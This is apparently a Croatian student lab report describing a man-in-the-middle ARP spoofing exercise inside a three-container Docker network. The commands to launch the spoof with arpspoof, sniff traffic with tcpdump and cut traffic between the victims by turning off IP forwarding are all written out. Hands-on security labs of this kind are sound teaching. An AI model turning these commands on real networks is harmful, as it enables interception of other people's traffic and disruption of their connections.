

# Prvi izvještaj

---

## Zadatak

---

Izvršavanje *man in the middle* napada u virtualnoj Docker mreži, koju čine tri virtualizirana Docker računala.

Dvije su žrtve:

- `station-1`
- `station-2`

jedan napadač:

- `evil-station`

## Koraci

---

- kloniramo GitHub repozitorij

```
$ git clone https://github.com/mcagalj/SRP-2021-22
```

- mijenjamo radni direktorij

```
$ cd SRP-2021-22
```

```
$ cd arp-spoofing
```

- pokrećemo kontejnere

```
$ chmod +x ./start.sh
```

```
$ ./start.sh
```

- pokretanje interaktivnog shella u kontejnerima

```
$ docker exec -it station-1 bash
```

```
$ docker exec -it station-2 bash
```

```
$ docker exec -it evil-station bash
```

- pokrećemo napad naredbom arpspoof

```
$ arpspoof -t station-1 station-2
```

- evil-station se predstavlja stationu-1 kao station-2 naredbom tcpdump pratimo promet u mreži

```
$ tcpdump
```

- promet između station-1 i station-2 se prekida naredbom

```
$ echo 0 > /proc/sys/net/ipv4/ip_forward
```